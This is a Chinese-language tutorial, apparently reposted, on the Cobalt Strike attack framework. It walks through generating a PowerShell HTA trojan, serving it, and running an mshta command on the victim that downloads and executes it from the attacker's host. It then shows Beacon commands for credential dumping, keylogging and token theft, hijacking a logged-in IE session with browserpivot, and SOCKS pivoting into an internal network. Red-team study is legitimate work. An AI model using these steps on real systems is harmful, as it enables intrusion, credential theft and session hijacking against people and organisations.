Cobalt Strike使用教程一


0x00 簡介

Cobalt Strike是一款基於java的滲透測試神器,常被業界人稱為CS神器。自3.0以后已經不在使用Metasploit框架而作為一個獨立的平台使用,分為客戶端與服務端,服務端是一個,客戶端可以有多個,非常適合團隊協同作戰,多個攻擊者可以同時連接到一個團隊服務器上,共享攻擊資源與目標信息和sessions,可模擬APT做模擬對抗,進行內網滲透。
Cobalt Strike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。

0x01 目錄結構

一般Cobalt Strike目錄結構如下:

agscript 拓展應用的腳本
c2lint 用於檢查profile的錯誤異常
teamserver 服務端程序
cobaltstrike,cobaltstrike.jar客戶端程序(java跨平台)
 license.pdf 許可證文件
logs 目錄記錄與目標主機的相關信息 
update,update.jar用於更新CS 
third-party 第三方工具

0x02 安裝運行

團隊服務器

團隊服務器最好運行在Linux平台上,服務端的關鍵文件是teamserver和cobaltstrike.jar,將這兩個文件放在同一目錄下運行:

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需參數 團隊服務器IP
<password> 必需參數 連接服務器的密碼
[/path/to/c2.profile] 可選參數 指定C2通信配置文件,體現其強大的擴展性
[YYYY-MM-DD] 可選參數 所有payload的終止時間

# 啟動Team Server
./teamserver 192.168.183.147 123456 # 設置強密碼,否則容易被爆破,參考附錄

在這里插入圖片描述
PS:團隊服務器默認連接端口為50050,如果你想修改端口只需修改teamserver文件
在這里插入圖片描述

客戶端

Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:雙擊cobaltstrike.exe
在這里插入圖片描述
輸入服務端IP,端口默認50050,用戶名任意,密碼為之前設置的密碼,點擊connect。第一次連接會出現hash校驗,這里的hash等於前面的啟動teamserver時的hash,直接點擊‘是’即可連接到團隊服務器上。
在這里插入圖片描述

0x02 參數詳情

Cobalt Strike

New Connection   # 新建連接,支持連接多個服務器端
Preferences   # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄
Visualization   # 主要展示輸出結果的視圖
VPN Interfaces   # 設置VPN接口
Listenrs   # 創建監聽器
Script Manager   # 腳本管理,可以通過AggressorScripts腳本來加強自身,能夠擴展菜單欄,Beacon命令行,提權腳本等
Close   # 退出連接

View

Applications   # 顯示受害主機的應用信息
Credentials   # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads   # 查看已下載文件
Event Log   # 主機上線記錄以及團隊協作聊天記錄
Keystrokes   # 查看鍵盤記錄結果
Proxy Pivots   # 查看代理模塊
Screenshots   # 查看所有屏幕截圖
Script Console   # 加載第三方腳本以增強功能 
Targets   # 顯示所有受害主機
Web Log    # 所有Web服務的日志

Attacks

Packages

HTML Application   # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件
MS Office Macro   # 生成office宏病毒文件
Payload Generator   # 生成各種語言版本的payload
USB/CD AutoPlay   # 生成利用自動播放運行的木馬文件
Windows Dropper   # 捆綁器能夠對任意的正常文件進行捆綁(免殺效果差)
Windows Executable   # 生成可執行exe木馬
Windows Executable(Stageless)   # 生成無狀態的可執行exe木馬

Web Drive-by

Manage   # 對開啟的web服務進行管理
Clone Site   # 克隆網站,可以記錄受害者提交的數據
Host File   # 提供文件下載,可以選擇Mime類型
Scripted Web Delivery   # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery 
Signed Applet Attack   # 使用java自簽名的程序進行釣魚攻擊(該方法已過時)
Smart Applet Attack   # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時)
System Profiler   # 用來獲取系統信息,如系統版本,Flash版本,瀏覽器版本等
Spear Phish   # 魚叉釣魚郵件

Reporting

Activity Report   # 活動報告
Hosts Report   # 主機報告
Indicators of Compromise   # IOC報告:包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes
Sessions Report   # 會話報告
Social Engineering Report   # 社會工程報告:包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures   # 戰術技術及相關程序報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data   # 重置數據
Export Data   # 導出數據,導出.tsv文件格式

Help

Homepage   # 官方主頁
Support   # 技術支持
Arsenal   # 開發者
System information   # 版本信息
About   # 關於

工具欄

在這里插入圖片描述

1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於

0x03 基本流程

創建監聽器

點擊Cobalt Strike -> Listeners->Add,其中內置了九個Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中windows/beacon為內置監聽器,包括dns、http、https、smb四種方式的監聽器;windows/foreign為外部監聽器,配合Metasploit或者Armitage的監聽器。
在這里插入圖片描述
Name任意,選擇所需的payload,Host為本機IP,port為沒有被占用的任意端口
點擊save即創建成功
在這里插入圖片描述

生成木馬

這里選擇其中一種攻擊方式作示范,后面再做詳細解釋:
點擊Attacks->Packages->HTML Application,選擇對應的監聽器,方法這里有三種(executable/VBA/powershell),選擇powershell,點擊Generate生成,選擇生成的路徑及文件名保存即可。
在這里插入圖片描述
在這里插入圖片描述

開啟web服務

點擊Attacks->Web Drive-by->Host File,選擇剛剛生成的木馬evil.hta,點擊Launch生成下載鏈接
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gGZcXV46-1571903546481)(/images/CobaltStrike/9.png)]
在這里插入圖片描述

運行木馬

打開受害機cmd,運行mshta命令。mshta.exe是微軟Windows操作系統相關程序,用於執行.HTA文件。

mshta http://192.168.183.147/download/file.ext

在這里插入圖片描述
返回CS即可看到肉雞上線
在這里插入圖片描述
選中受害機右擊,選擇interact,即可進行交互,由於受害機默認60秒進行一次回傳,為了實驗效果我們這里把時間設置成5,但實際中頻率不宜過快,容易被發現。
在這里插入圖片描述

導出報告

點擊Reporting->Activity Report,導出默認PDF文檔
在這里插入圖片描述

0x04 Beacon

當受害機上線以后,右擊選擇Interact,就可以打開Beacon Console
在beacon處輸入help可以看到命令說明

Beacon Commands
===============
Command                   Description
-------                   -----------
argue                     進程參數欺騙
blockdlls                 在子進程中阻止非Microsoft的DLLs文件
browserpivot              注入受害者瀏覽器進程
bypassuac                 繞過UAC
cancel                    取消正在進行的下載
<span class="token function">cd</span>                        切換目錄
checkin                   強制讓被控端回連一次
<span class="token function">clear</span>                     清除beacon內部的任務隊列
connect                   通過TCP連接到Beacon
covertvpn                 部署Covert VPN客戶端
<span class="token function">cp</span>                        復制文件
dcsync                    從DC中提取密碼哈希
desktop                   遠程VNC
dllinject                 反射DLL注入進程
dllload                   使用LoadLibrary將DLL加載到進程中
download                  下載文件
downloads                 列出正在進行的文件下載
drives                    列出目標盤符
elevate                   嘗試提權
execute                   在目標上執行程序<span class="token punctuation">(</span>無輸出<span class="token punctuation">)</span>
execute-assembly          在目標上內存中執行本地.NET程序
<span class="token keyword">exit</span>                      退出beacon
getprivs                  對當前令牌啟用系統權限
getsystem                 嘗試獲取SYSTEM權限
getuid                    獲取用戶ID
hashdump                  轉儲密碼哈希值
<span class="token function">help</span>                      幫助
inject                    在特定進程中生成會話
jobkill                   殺死一個后台任務
<span class="token function">jobs</span>                      列出后台任務
kerberos_ccache_use       從ccache文件中導入票據應用於此會話
kerberos_ticket_purge     清除當前會話的票據
kerberos_ticket_use       從ticket文件中導入票據應用於此會話
keylogger                 鍵盤記錄
<span class="token function">kill</span>                      結束進程
<span class="token function">link</span>                      通過命名管道連接到Beacon
logonpasswords            使用mimikatz轉儲憑據和哈希值
<span class="token function">ls</span>                        列出文件
make_token                創建令牌以傳遞憑據
mimikatz                  運行mimikatz
<span class="token function">mkdir</span>                     創建一個目錄
mode dns                  使用DNS A作為通信通道<span class="token punctuation">(</span>僅限DNS beacon<span class="token punctuation">)</span>
mode dns-txt              使用DNS TXT作為通信通道<span class="token punctuation">(</span>僅限D beacon<span class="token punctuation">)</span>
mode dns6                 使用DNS AAAA作為通信通道<span class="token punctuation">(</span>僅限DNS beacon<span class="token punctuation">)</span>
mode http                 使用HTTP作為通信通道
<span class="token function">mv</span>                        移動文件
net                       net命令
note                      給當前目標機器備注       
portscan                  進行端口掃描
powerpick                 通過Unmanaged PowerShell執行命令
powershell                通過powershell.exe執行命令
powershell-import         導入powershell腳本
ppid                      為生成的post-ex任務設置父PID
<span class="token function">ps</span>                        顯示進程列表
psexec                    使用服務在主機上生成會話
psexec_psh                使用PowerShell在主機上生成會話
psinject                  在特定進程中執行PowerShell命令
pth                       使用Mimikatz進行傳遞哈希
<span class="token function">pwd</span>                       當前目錄位置
reg                       查詢注冊表
rev2self                  恢復原始令牌
<span class="token function">rm</span>                        刪除文件或文件夾
rportfwd                  端口轉發
run                       在目標上執行程序<span class="token punctuation">(</span>返回輸出<span class="token punctuation">)</span>
runas                     以另一個用戶權限執行程序
runasadmin                在高權限下執行程序
runu                      在另一個PID下執行程序
screenshot                屏幕截圖
setenv                    設置環境變量
shell                     cmd執行命令
shinject                  將shellcode注入進程
shspawn                   生成進程並將shellcode注入其中
<span class="token function">sleep</span>                     設置睡眠延遲時間
socks                     啟動SOCKS4代理
socks stop                停止SOCKS4
spawn                     生成一個會話 
spawnas                   以其他用戶身份生成會話
spawnto                   將可執行程序注入進程
spawnu                    在另一個PID下生成會話
<span class="token function">ssh</span>                       使用ssh連接遠程主機
ssh-key                   使用密鑰連接遠程主機
steal_token               從進程中竊取令牌
timestomp                 將一個文件時間戳應用到另一個文件
unlink                    斷開與Beacon的連接
upload                    上傳文件
wdigest                   使用mimikatz轉儲明文憑據
winrm                     使用WinRM在主機上生成會話
wmi                       使用WMI在主機上生成會話</code></pre>

可用help+命令的方式查看具體命令參數說明

beacon> help argue
Use: argue [command] [fake arguments]
     argue [command]
     argue

Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.

Use argue [command] to disable this feature for the specified command.

Use argue by itself to list programs with defined spoofed arguments.

之前說過CS與受害機默認60s進行一次交互,為了方便實驗我們可以把時間設置為0

beacon>sleep 0

下面我就介紹一下幾個常用的命令

browserpivot

Browser Pivot是一個針對IE瀏覽器的技術,利用的是IE的cookie機制,Cobalt Strike通過IE注入進程以繼承用戶的已驗證Web會話,達到無需驗證登錄用戶訪問的網站。
假設受害者在通過IE瀏覽器登錄了網站后台
在這里插入圖片描述
我們可以通過ps找到瀏覽器進程,然后通過命令進行注入

beacon> browserpivot 2600 x86

在這里插入圖片描述
這里之所以選擇PID 2600是因為我們需要插入Internet Explorer以繼承用戶的已驗證Web會話。IE的新版本會為每個選項卡生成一個進程,我們必須將其插入子選項卡以繼承會話狀態。通常,子選項卡共享所有會話狀態。通過查看PPID值來標識IE子選項卡進程,當PPID引用explorer.exe時,該進程不是子選項卡;當PPID引用iexplore.exe時,該進程就是子選項卡。
當然這里也可以通過圖形界面注入,右擊選中Explore->Browser Pivot
在這里插入圖片描述
然后瀏覽器設置代理
在這里插入圖片描述
然后訪問受害者所訪問的網頁,發現無需登錄直接進入后台
在這里插入圖片描述

Socks代理

開啟socks4a代理,通過代理進行內網滲透
開啟socks,可以通過命令,也可以通過右鍵Pivoting->SOCKS Server

beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes

然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服務器
在這里插入圖片描述
使用proxychains代理掃描內網主機

proxychains nmap -sP 192.168.183.0/24

在這里插入圖片描述
我們還可以通過隧道將整個msf帶進目標內網
點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:
在這里插入圖片描述

setg Proxies socks4:192.168.183.147:2222

打開msf對內網進行掃描
在這里插入圖片描述
關閉socks

beacon>socks stop

powershell-import

這個功能在后滲透測試中很有用,可以導入各種powershell滲透框架,如NishangPowerSploit攻擊框架
在beacon shell輸入powershell-import,導入已有的ps文件

beacon> powershell-import

在這里插入圖片描述
在這里插入圖片描述
關於具體有哪些命令可以操作可以查看一下相應ps文件

0x05 附錄

爆破cobalt strike密碼腳本:https://github.com/ryanohoro/csbruter
在這里插入圖片描述
在這里插入圖片描述

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM